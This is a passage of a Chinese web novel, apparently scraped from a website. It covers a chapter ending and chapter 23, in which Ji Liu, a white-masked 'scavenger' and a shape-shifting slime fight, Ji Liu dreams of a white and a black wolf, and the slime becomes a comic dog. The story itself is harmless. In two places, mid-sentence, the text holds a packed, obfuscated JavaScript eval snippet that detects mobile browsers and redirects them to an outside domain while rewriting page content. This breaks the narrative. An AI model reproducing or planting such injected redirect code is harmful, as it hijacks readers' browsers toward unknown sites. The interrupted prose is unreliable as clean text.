在季琉说出那个奇怪的话后，他身上出现了奇怪的闪光和电子噪音。 伴随着忽大忽小的电子噪音，季琉身体开始颤抖，更要命的是，他的脸上突然凭空多出了一片光斑，那光斑是一片平滑的，直接完全遮挡住了季琉的脸部，完全直接把季琉的五官吞没了。 紧接着，季琉整个头部开始闪动，身边多出了一道白色的虚影，白色虚影时不时和季琉的身体重叠，又被排斥离开，又重叠。 男人都看呆了。 从他的认知角度来看，他也是第一次知道会发生这种事情。 但……这种情况，如果用游戏的角度来解释的话，就很好解释了，季琉正在被顶号。 两个账号在抢季琉现在的身体。 虽然不知道发生了什么，男人，也就是史莱姆看出了季琉目前的身体出现了空挡，顿时精神来了，他一只手抓住季琉的手臂，另一只手掐开季琉的嘴，正准备故技重施，进入季琉身体内部—— 一张白色的面具突兀地出现了。 男人：“……” 白色的虚影凝实，穿着白色军礼装的清道夫保持着之前跨坐的姿势，出现在男人面前。 两人都僵住了。 看得出来，两人都非常地尴尬，白色猫头鹰更是被这一出给弄懵了，他歪着头，面具上的两个黑洞洞的地方透露出一股茫然的情绪，如果他真的是一个猫头鹰，只恐怕现在早就浑身炸毛了。 男人先回过神来，他瞧了瞧面前的白色面具，比起怕死，好奇心占了上风，他竟然张开了手指，顺着面具和脸之间的间隙摸过去，尝试把面具给拿下来。 另一只手更不要命，在男人自己都没有反应过来的情况下，那只是下意识地掐了一把清道夫的腰。 当然，面具没有被拿开，它像是和脸是一体的。 好笑的是，本该让人闻风而逃的白色猫头鹰反而一脸呆萌得像个个玩具，乖乖地被人掐住了头，然后被人像摆弄摇摇头娃娃一样，按着头被恶意摇动了几下。 有点好笑，又有点可怜。 男人的喉咙间发出一声咕哝声，似乎是在抱怨什么，然后把那只拉面具的手给收了回来，又无比自然地放在白色猫头鹰腰的另一侧。 最后，不知道是史莱姆真的没有脑子，还是故意去挑衅，男人抓住白色猫头鹰的腰，把白色猫头鹰晃了晃。 白色猫头鹰：“……” 沉默了很久后，白色面具往下移动了几分，黑洞洞的眼睛幽怨地盯着男人。 男人终于明白自己的处境，有些心虚，顿了顿，他的脖子上裂口更大，正准备一口咬下，就看见白色猫头鹰抓住他嘴里的长舌，然后，一拳揍了下去。 “砰” 地板应声而裂，男人头晕眼花地正面仰躺在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238753|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，来不及收起还被攥住的长舌，男人朝上看去。 男人看见被称为“清道夫”的白色猫头鹰双脚叉开，站在他的身上。 从下往上看，男人能看见白色面具，整洁利落的白色军礼装板正，却又在胸膛的位置微微鼓起一道弧度，再往下，忽略刚刚掐过的细腰，长筒靴包裹着细长结实的小腿，一看就知道能一脚把人踹死。 男人呆了片刻，下意识地伸手握了向了手侧的脚踝。 手感很好，能一把握住，甚至让人有一股立刻握住脚踝往上拉的冲动。 房间里的温度又降低了几度。 下一秒，男人当机立断，索性拉住那只脚踝，往上一扯，整个人顺势向旁边一滚，从清道夫身下滚了出去，然后立刻丢开手中的脚踝，忙不迭地朝距离自己最近的一扇窗户摔去。 而清道夫就这样硬生生被拉出一字马，但出乎意料的是，清道夫看上去是个男人，身体却是十分柔软，被男人松开脚踝后，他不慌不忙地调整好自己的姿势，一扭身，在半空中虚晃一脚，一回身把男人踹进了另一面墙里。 “砰” 又是一声巨响，整栋楼都疑似晃了晃，楼道里面的感应灯都亮了起来。 男人半个身子被嵌在了墙里，他顿了顿，还是把自己拔了出来，然后阴森森地看着白色猫头鹰。 【你有新的任务接取。】 电子机械音再次响起。 这一次的声音清晰多了，房间里的两个人都听到了这个奇怪的声音。 白色猫头鹰歪了歪头，他站在原地，本来挺得笔直的脊背松了松，肩膀垮了下来，莫名其妙地有了一股子不耐烦的味道。 他朝着窗户走了两步，拉开窗帘，又打开了玻璃窗，朝着外面看了几眼。 另一边的男人靠在墙上，他的视线随着白色猫头鹰的动作移动，一时之间不敢有什么动作。 从刚才两次的交手来看，男人很清楚自己打不过白色猫头鹰，而且他还怕被白色猫头鹰“销号”，因此不敢有什么大动作，只能期待白色猫头鹰赶紧离开这个地方，然后他再跑路。 可显然，白色猫头鹰也在考虑这个问题。 僵持了一段时间后，白色猫头鹰忽视掉耳边一直响起的任务提醒，面具上的两个黑洞洞的窟窿再次看向了男人。 男人捂着自己的肩膀，脖子上的裂口谨慎地收了起来。 下一秒，两人同时动手。 男人整个人突然融化，他变成一团软软的史莱姆，慌慌张张地朝着门口溜去。 白色猫头鹰手中突然多出来两根白色的短刺，“嗖嗖”两下朝着史莱姆射去，组成一个x字，完美精准地刺中了地上流淌的史莱姆。 史莱姆球体上的两颗豆豆眼变成了蚊香，缓了几秒后，史莱姆惊悚地发现自己缩水了—— 靠，插在他身上的，是两颗盐柱！ 白色猫头鹰缓缓地走了过来，他拿出一个透明的盒子，弯下腰，正准备把史莱姆提起，装进盒子。 然而，他没有想到的是，史莱姆红温了，地上半透明的球体突然膨胀起来，越来越大，一口把盐柱吃掉后，史莱姆苦着一张脸，转过身，面对白色猫头鹰张开了嘴，露出了里面满嘴的利齿。 白色猫头鹰站在原地，他惊讶地看着史莱姆越来越大，越来越高，直到顶到了天花板，然后，张开了嘴： “嗷呜——” 23. 第 23 章 季琉做了一个梦。 在梦里，他变成了一只白色的狼。 不知是因为人在梦里本来就思绪飘渺，还是因为他真的变成了一只狼，总之，在梦里，季琉作为一只白狼，也记不起自己是一个人类，就……是一纯粹的动物思维。 那么，动物会干什么？ 首先是巡逻领域，然后，想干什么就干什么。 季琉第一反应就是他也有领域，巡逻守卫是天性，独占欲一上头，进他领域的都得死。 强烈的捕猎欲望贯穿了整个梦境，季琉在梦里作为白狼，大部分时间都在搜寻那些不该存在的气息，找到它们，捕猎它们，撕咬它们，直到那些陌生的气息彻底消散。 今天，又有一个奇怪的东西闯入了季琉的领地。 如果是平日里，季琉早就毫不犹豫地扑上去捕猎了，但今天有些不同。 在这片白色的领域里，突兀地出现了一只巨大的黑狼。 黑狼是凭空出现的，他似乎也搞不清为什么自己会出现在这里。 呆愣很久后，黑狼对这片领域充满了警惕，蹲坐在原地，小心翼翼地嗅了嗅四周，疑惑地打了个响鼻。 这是一只陌生的狼，黑狼的体型比白狼大了整整一圈，皮毛光滑如丝，身体强壮而健美。 季琉隐藏在雪白的世界里，默默地评估着面前的黑狼，他试图嗅出对方的味道，却发现自己什么都闻不到。 或者说，这片区域里，只有他自己的气息。 好奇心驱使季琉从藏身之处走出，他小心翼翼地遮掩着自己的踪迹，缓缓靠近黑狼，直到轻轻地用吻部碰了一下黑狼的尾巴。 本来还在嗅闻的黑狼立刻炸毛，嘴角掀起，露出雪白的利齿，立刻转身就朝身后的白狼咬了过去。 季琉也毫不示弱，立刻回击。 五分钟后，季琉蹲坐在不远处，低头舔舐着前爪上的伤口。 左前爪上有一道浅浅的血口，舔了几下后，血便止住了。 而在不远处，黑狼倒在地上，柔软的肚皮朝上，原本顺滑的皮毛变得毛毛躁躁的，他喘着粗气，显得狼狈不堪。 清理完自己后，季琉目光转向黑狼，缓缓朝他走去。 黑狼察觉到季琉的靠近，当季琉距离他只剩一两步时，他抬起头，色厉内荏地低吼了一声，露出森森的犬齿。 季琉停下脚步，微微偏头，用那双深邃的眼睛注视着黑狼。 如果忽略黑狼那毫无防备的肚皮，黑狼现在的样子确实有些吓人。 三秒后，季琉突然低头，轻轻咬了一口黑狼的前爪。 这一口力道很轻，甚至没有破皮，与之前两狼搏斗时的凶狠相比，这简直算得上是友好的表示。 黑狼被咬后，小声呜咽了一声，身体微微颤抖，却不敢动弹，只能警惕地盯着白狼的一举一动。 季琉围着黑狼转了三圈，似乎在评估着什么。转到第三圈时，季琉终于停下脚步，缓缓拱进黑狼的肚皮处，趴了下来。 确定好位置后，季琉调整了一下自己的姿势，用他的后背紧贴着黑狼柔软的腹部，黑色的毛发盖住了他一半的白色身躯。 梦里本不该有触觉，但奇怪的是，季琉感受到了一股暖洋洋的气息，身后那厚实的皮毛像是一个小火炉，源源不断地传来温暖。 真好。 这片白色的领域不是雪，但也太过空旷，季琉总是感到寒冷，现在，这个问题终于解决了。 季琉把头枕在前爪上，闭上了眼睛，耳朵轻轻抖了一下。 黑狼抬起头，想看看白狼为什么突然窝在他身边，就在他扭头的瞬间，吻部轻轻擦过了白狼的耳尖。 白狼的耳朵尖下意识地又抖了一下，耳尖上的绒毛轻轻扫过黑狼的鼻尖。 黑狼凝视着白狼那微微颤动的耳尖，心中泛起一丝异样的感觉。 季琉咬人很疼，爪子也锋利无比，打斗时干脆利落，招招直击要害，仿佛是从凛冽的寒冬中走出的生物，让人不禁怀疑他是否由冰雪铸成。 然而此刻，黑狼看着白狼耳尖透出的淡淡粉色，终于确定，白狼是一个活生生的存在，一团有血有肉的生命。 想着想着，黑狼忍不住轻轻咬了一口那嫩嫩的耳尖。 咬完后，黑狼心虚地松开了嘴。 耳朵上的骚乱打断了季琉的休息，季琉睁开了眼睛，缓缓抬起头，目光直视黑狼。 不用看，黑狼也知道白狼在盯着他，黑狼身上的毛几乎要炸开，但因为白狼正窝在他脆弱的腹部，黑狼一时不敢轻举妄动。 在黑狼的视线余光中，白狼的耳朵轻轻抖了抖。 下一秒，季琉突然咬住了黑狼的吻部。 梦境在这一刻变得模糊，突然一个意识冒了出来，如炸雷一般把季琉雷个半醒： 等等，我不是人吗？ 有了这个觉悟后，季琉咬着黑狼的嘴筒子，吐也不是，不吐也不是。他羞得一下子站了起来，结果忘了松嘴，咬得黑狼“嗷”地闷哼了一声，黑狼甩头挣脱出来，毫不客气地回咬了一口—— 脸上。 还挺疼。 季琉睁开眼时，下意识地摸上了自己的右脸颊，那里的皮肤还残留着黑狼咬上去时的疼痛，仿佛真的一般。 稍微醒了点后，季琉揉了揉脸，拿起床头的手机，借着屏幕的反光看了一眼。 他的脸上没有任何印记，唯一的一小块红色还是刚才揉出来的，更别提什么齿痕，一切都是臆想。 可是，据说梦都是潜意识的反应。 那梦中的触感如此真实，真的只是梦吗？ 想到这个问题，季琉放下了手机—— 他沉默了。 这时，季琉才注意到，他的卧室一片狼藉，地上到处都是碎片，旁边的窗帘下摆已经报废，变成了一条条的流苏，整个卧室唯一完整的只有床，这也是他醒来时没有及时反应的原因。 “史莱姆？” 季琉抖了抖被窝，没有从里面翻出史莱姆，他的眉心一跳。 顾不上找拖鞋，季琉直接赤脚下地，踩着一地的垃圾，床上床下都找了一遍，仍旧没有找到史莱姆的踪影。 季琉站在床边，垂在身侧的手握成拳头，他磨了磨牙，正准备发脾气，突然又想到了什么。 赤脚走到卧室的窗户边缘，季琉掀开流苏窗帘一看： 玻璃窗还关着。 但玻璃窗上有一块圆形的空缺。 而在窗户外面的窗台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15238754|166208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，正趴着一只试图往外爬、还爬了一半的史莱姆。 季琉挑了一下眉。 史莱姆回头，看见站在窗边的季琉，它停下了动作。 紧接着，史莱姆朝外爬得更快了。 季琉：？ “你想跑？为什么跑？我亏待你了吗？” 季琉把窗户打开，他想要去抓挂在窗台上的史莱姆，结果没想到的是，史莱姆见季琉来抓他，索性一咬牙，直接变成了一团更硬的东西，“啪”的一声直接往窗台边沿一滚。 只听得一阵噼里啪啦的声响，史莱姆直接滚了下去，掉在地上，“啪”的一声。 看了全程的季琉：“……” 不知道为什么，直接告诉他，史莱姆的“啪”声有点不对劲。 平时一直特别跳的史莱姆撞到地面后安静了好久，久到季琉都怀疑地上那团究竟是不是团史莱姆，那团类似果冻的东西终于蠕动了几下。 他站起来了。 他变成了一个锅铲。 他变成了一个杯子。 他变成了一个凳子。 他变成了一把键盘。 站在上面旁观全程的季琉倒吸一口凉气，他还不知道史莱姆竟然能变化这么多。 变了好几次后，史莱姆才好像醒过来，终于知道自己要变成什么。 他变成了一只狗。 如果那是狗的话。 季琉看得眼角抽搐。 楼下的那只“狗”只能说外形像只狗，他有狗耳朵和狗尾巴，但是身上多了一条长长的裂口，红色的舌头不是从嘴筒子里吐出来的，而是从身侧的裂口吐出来的。 简直就像是一个小孩儿捏了一个粘土狗，但在最后不小心把黏土狗放在地上搓了一遍，导致嘴不是嘴，舌头不是舌头。 扭曲，让人看着理智值狂掉，可……在季琉眼里，还是有点萌。 变成一只狗后，史莱姆想要开溜，但是因为两颗豆豆眼的位置不对，狗头歪着看路，于是他完全失去了方向感，走了几步后，“砰”的一声撞上了停在楼下的电动车上。 电动车警铃大响：“嗡——” 史莱姆狗被吓了一跳，慌不择路，然后原地转圈三百六十度，冲进了楼道。 三秒后，史莱姆狗歪歪扭扭地又冲了出来，又撞到了电动车上。 电动车再次警铃大作：“嗡——” 史莱姆狗倒腾着四条小短腿歪歪扭扭继续跑，跑了两步后，扑街了。 站在窗边季琉的脸扭曲了几下，才避免自己笑出声。 顾不上收拾卧室，季琉硬憋着笑，他从卧室的一堆废墟里面捞出来一套衣物直接穿上了，然后去草草地洗了一把脸，就抓起双肩包就跑出了家门。 在到达楼下的那一刻，季琉从双肩包里掏出之前的牵引绳，眼疾手快地把链子套在了趴在地上的史莱姆狗身上。 史莱姆狗反抗不能，他歪着头，怒视季琉。 季琉试图表现出自己的病娇和黑暗的一面，可奈何史莱姆狗实在是长得太搞笑了，他一开口就憋不住笑： “哈哈哈，你，我，哈哈哈，对不起，我受不了了，哈哈哈哈。” 史莱姆狗怒了，大吼一声： “汪！”